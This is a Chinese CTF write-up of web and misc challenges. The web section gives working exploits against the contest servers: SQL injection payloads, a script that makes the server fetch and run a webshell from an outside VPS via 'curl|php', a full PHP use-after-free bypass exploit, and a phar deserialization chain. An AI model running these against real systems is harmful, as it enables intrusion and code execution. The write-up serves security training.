高校战“疫”网络安全分享赛——部分Writeup


48个小时,晚上没太熬夜,周末坐了整整两天,和真正大佬的差距不是一点半点,大佬k了40道题,比我们多了整整一倍,还是要继续努力了,别被拉开的太远了。这里把web和misc我做的部分给写一下,后期再把其他没做出来的web题目复现之后再记录一下

image.png-3358.4kB

WEB

sqlcheckin

首先查看源码

image.png-20.1kB

注意一下sql语句

SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}

对我们输入的用户名和密码同时进行校验,只要sql语句为真,便输出flag,所以我们不需要注入出数据,只要让语句为真即可,这里是一个比较经典的sql注入题目

新型sql注入

原理很简单,我们将用户名和密码都输入一个数据库中没有的用户,这个时候,无论是用户名和密码都返回为false,两个false返回为true即可让语句为真,例如,我们输入

 username =  pdsdt'='  password = pdsdt'='

这时sql语句为

SELECT username from users where username='pdsdt'='' and passowrd = 'pdsdt'='';

这样就能达到让数据库查询为真的目的,但是题目中把=给过滤了,我们使用char进行绕过,最后的payload为:

username=pdsdt'%2bchar(61)%2b'&password=pdsdt'%2bchar(61)%2b'

image.png-59.9kB


Hackme

fuzz了一下,题目存在备份文件www.zip,对获取到的代码进行审计,先看一下总体架构

image.png-13.5kB

存在core和session两个比较重要的文件夹,先看一下core文件夹

image.png-18.8kB

提示我们需要变成管理员用户,在看一下session文件夹,根据代码分析,是存放用户session文件的地方

image.png-25.9kB

在init.php中指定了文件的存放位置和存储类型,将用户信息序列化后进行存储,想要变为管理员,初步思路就是获取管理员的sessoion或者将自己的身份修改成管理员,所以我们接着看成为管理员的条件,在profile.php中

image.png-46.2kB

当session中admin值为1是即可,所以我们需要通过恶意构造来改变我们的session值,这里使用了session反序列化的方式,原理文章:带你走进PHP session反序列化漏洞

首先注册一个用户

image.png-24.3kB

这时在session文件夹下就存在了该用户的session文件,我们访问一下该session文件进行查看,session的存放文件名格式一般为sess_(PHPSESSID)

image.png-40.2kB

可以看到关于session的用户信息文件是以序列化的形式存储的,接下来我们可以在upload页面将我们的签名写入,结合代码构造我们的恶意签名从而达到伪造管理员权限的目的

image.png-30.8kB

image.png-17.3kB

pdsdt|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}

成功写入,再次查看一下当前用户的session文件

image.png-55.4kB

成功构造,再次访问core文件夹,进行下一步

image.png-105.3kB

下一步是一个源码审计题目,主要分析一下两个if,第一个if我们可以通过伪协议绕过进行本地文件的写入和读取,主要是第二个if,提示我们每次写入的代码长度不超过四个字节,而且使用的exec不回显我们命令执行的结果,一步一步分析,首先绕过第一个if,使用伪协议进行绕过

php伪协议实现命令执行的七种姿势

compress.zlib://data:@127.0.0.1/plain;base64

下面的四字节长度命令注入,可以看这篇文章

如何绕过四个字符限制getshell

修改一下文章中的exp,首先在自己的vps上放上我们构造的恶意代码,再通过一步步写入的方式将我们的恶意代码下载到题目中,从而达到getshell的目的

vps代码:

<?php file_put_contents('test.php', '<?php eval($_GET[cmd]); ?>');

exp:

#encoding=utf-8
import requests
from time import sleep
from urllib import quote
import base64
import random




url_sandbox = 'http://121.36.222.22:88/core/index.php'
s.get(url_sandbox)
header_pdsdt={
    'Cookie': 'PHPSESSID=c5f3b81cb1298f0eb084ce75f6454d56'
}
r = requests.post(url_sandbox,headers=header_pdsdt)
print r.text


print(r.headers)
shell_ip = '39.106.73.11'
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')])



pos0 = random.choice('f')
print "pos0 = ", pos0
pos1 = random.choice('h')
print "pos1 = ", pos1
pos2 = 'g'  # 随意选择字符

payload = [
    '>dir',
    # 创建名为 dir 的文件
    '>%s\\>' % pos0,
    # 假设pos0选择 f , 创建名为 \f> 的文件

    '>%st-' % pos1,
    # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
    # 因为alphabetical序中t>s

    '>sl',
    # 创建名为 >sl 的文件;到此处有四个文件,
    # ls 的结果会是:dir f> kt- sl

    '*>v',
    # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
    #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
    # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

    '>rev',
    # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

    '*v>%s' % pos2,
    # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
    # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

    # 续行分割 curl 0x11223344|php 并逆序写入
    '>p',
    '>ph\\',
    '>\|\\',
    # '>%s\\' % ip[8:10],
    # '>%s\\' % ip[6:8],
    # '>%s\\' % ip[4:6],
    # '>%s\\' % ip[2:4],
    # '>%s\\' % ip[0:2],
    # '>105',
    # '>227',
    # '>89',
    # '>118',
    # 661276939
    '>39\\',
    '>69\\',
    '>27\\',
    '>61\\',
    '>6\\',
    '>\\ \\',
    '>rl\\',
    '>cu\\',

    'sh ' + pos2,
    # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
    # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
    'sh ' + pos0,
    # sh f 执行curl命令,下载文件,写入木马。
]



payload1 = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
r = s.get(url_sandbox)
for i in payload:
    print({"url":payload1.format(base64.b64encode(i))}, i)
    r = s.post(url_sandbox,data={"url":payload1.format(base64.b64encode(i).replace(r'+', r'%2b'))})
    sleep(0.5)
    r = s.get('http://121.36.222.22:88/core/sandbox/f2952d694b495d546055f1a048755f42/'+i[1:].replace(r'+', r'%2b'))
    # print(r.status_code)
    if r.status_code == 404:
        a = raw_input('Press Enter continue ...')

执行,访问生成的test.php

image.png-239.4kB

image.png-111.6kB


PHP-UAF

image.png-40.2kB

直接给了我们一个webshell,结合题目,应该是让我们bypass了,先看一下php版本

image.png-95.7kB

7.4版本的php,普通的bypass行不通了,找了一个php7.4以上的使用蚁剑链接,上传到tmp目录下

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

image.png-56.6kB

包含执行

image.png-74.8kB

成功执行,执行readflag程序

image.png-48.2kB

成功获取到flag


nweb

这个题目在写WP的时候挂掉了,就用了比赛时候截的图了

查看注册页面的源码

image.png-32.6kB

可以看到type选项是被隐藏的,在控制台把hidden按钮修改掉,根据提示110我们将type的值修改为110,然后进行注册登陆,登陆之后访问search.php,提示我们参数不合法,POST传输flag

image.png-45.4kB

构造语句,进行盲注,获取到一半的flag和admin用户的密码

import requests
import time
url='http://121.37.179.47:1001/search.php'
payload='''1'or if(((ascii(mid((seselectlect group_concat(pwd) frfromom admin),{},1)))>{}),1,0)#'''
cookies={
    'username':'f1290186a5d0b1ceab27f4e77c0c5d68',
    'PHPSESSID':'21232f297a57a5a743894a0e4a801fc3'
}
text=''
for i in range(1,35):
    l=28
    h=126
    while abs(h - l) > 1:
        m=(l+h)/2
        data={
            'flag':payload.format(i,m)
        }
        t=time.time()
        re=requests.post(url,cookies=cookies,data=data)
        #print(re.text)
        if 'There is flag' in re.text:
            l=m
        else:
            h=m
    mid_num = int((l + h + 1) / 2)
    text += chr(int(h))
    print(text)
flag{Rogue-MySql-Server #前半段flag
e2ecea8b80a96fb07f43a2f83c8b0960 #admin的密码(whoamiadmin)

利用获取到的admin密码在admin.html页面登陆

image.png-39.7kB

成功登陆后台,发现后台是一个数据库端口扫描的页面,想到了题目中出现很多的mysql客户端
任意文件读取
利用脚本:

mysql客户端任意文件读取

改一下端口和想读的文件:/var/www/html/flag.php,运行文件,进行监听

image.png-38.5kB

在database.php填入ip,port,显示连接成功:

image.png-39.7kB

在mysql.log中查看我们读取的flag.php

image.png-535kB

拼接一下成功获取完整flag

flag{Rogue-MySql-Server-is-nday}

webtmp

python的反序列化,学弟Phoebe做了,直接嫖他的思路了

首先看源码
大致意思就是用Animal这个类,传入name和category参数
然后去和题目里
“`secret.name“`和“`secret.category“`去比,并且过滤掉了R,这个R就是R指令,也就是“`__reduce__“`函数

有一个python自带的pickle调试器pickletools很好用,可以看具体pickle的内容,
如:

pickletools.dis(pickle.dumps(Animal('dog','bark')))

此时pickle的数据为:

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

经过pickletools之后就变得很清楚了

image.png-96.9kB

然后在想尝试直接将dog更改为cseret\n\name\n(这个c也就是c指令,好像就是GLOBAL的意思)
出现了错误,因为这里只允许c指令包含main这一个module

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

从零开始python反序列化攻击

image.png-63.6kB

大致意思就是根据原先Animal生成的pickle,构造一个secret的pickle,然后放入一个{‘name’:’dog’,’category’:’bark’}的Animal字典
原先的Animal pickle

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

构造一下

b'\x80\x03c__main__\nsecret\nq\x00}(Vname\nVdog\nVcategory\nVbark\nub0c__main__\nAnimal\n)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

base64编码

b'gANjX19tYWluX18Kc2VjcmV0CnEAfShWbmFtZQpWZG9nClZjYXRlZ29yeQpWYmFyawp1YjBjX19tYWluX18KQW5pbWFsCimBcQF9cQIoWAQAAABuYW1lcQNYAwAAAGRvZ3EEWAgAAABjYXRlZ29yeXEFWAQAAABiYXJrcQZ1Yi4='

image.png-76.5kB


webct

这个题目是结束之后复现的,题目存在备份文件www.zip

拉下来进行审计,先看一下题目的目录结构

image.png-9.5kB

看到config.php里有可疑的代码

image.png-30.7kB

这类里面把命令都给安排好了,我们直接构造POP链就行了,再看一下testsql.php

image.png-22.9kB

又是mysql客户端任意文件读取漏洞,这样我们就明白了题目的逻辑,首先构造pop链,生成phar文件,上传到题目上后使用mysql读取触发文件,从而获取到题目flag

POP链:

<?php
error_reporting(0);

class Fileupload
{
    public $file;

    function __construct()
    {
        $this->file = new Listfile;
    }

    function __destruct()
    {
        $this->file->xs();
    }
}

class Listfile
{
    public $file;

    function __construct()
    {
        $this->file = '/;ls /';
    }

    function __call($name, $arguments)
    {
        system("ls " . $this->file);
    }
}

$o = new Fileupload();
var_dump($o);
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt", "bar");
$phar->stopBuffering();
?>

image.png-17.5kB

上传成功,在vps上对我们的脚本进行修改

image.png-46.5kB

然后在testsql页面设置访问的vps,因为版本问题,我们需要设置options为8

image.png-30.3kB

成功触发

image.png-96.8kB

发现有readflag,修改我们的poc,生成phar文件再次上传,再次触发,获得flag

image.png-97.8kB

MISC

2019-nCoV

真签到,直接给flag

flag{shijiejiayou}

简单MISC

下载文件后,binwalk图片发现隐藏的压缩包

image.png-33kB

foremost分离后发现ctf.txt

image.png-10.4kB

分析是摩斯电码,解密获取到压缩包密码

image.png-17.7kB

获取到flag.txt,base64解密获取到flag

image.png-24.9kB

隐藏的信息

zip和一张残缺二维码
zip伪加密破解
音频尾部有拨打按键的数字号 8978887
二维码尾部有 USE BASE64 TO GET YOUR FLAG
将二维码反色补充后扫出

 flag{this_is_also_not_flag}
解压密码不在这里0.0!

使用Detect STMF Tones算法分析RIFF头wav文件,得到电话号

image.png-63.7kB

然后根据获取到的提示,base64加密获取的数字获得flag

ez_mem&usb

解压获得流量包,分析流量,分析HTTP流,发现在upload_file.php存在隐藏的压缩文件

image.png-46kB

image.png-52.2kB

导出字节流,对压缩文件进行分析,解压出data.vmem文件

对data.vmem进行分析,先使用foremost分离文件,获取到压缩包

image.png-98kB

但是压缩包有密码需要进行破解,使用volatility对data.vmem进行分析,在查看cmd历史命令时发现提示

image.png-50.9kB

在cmd命令中获取到密码,解密获取到usedata.txt,标准的usb流量,使用脚本进行解密

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'
print 'output :\n' + output

即可获取到flag

image.png-55kB


发表评论

电子邮件地址不会被公开。 必填项已用*标注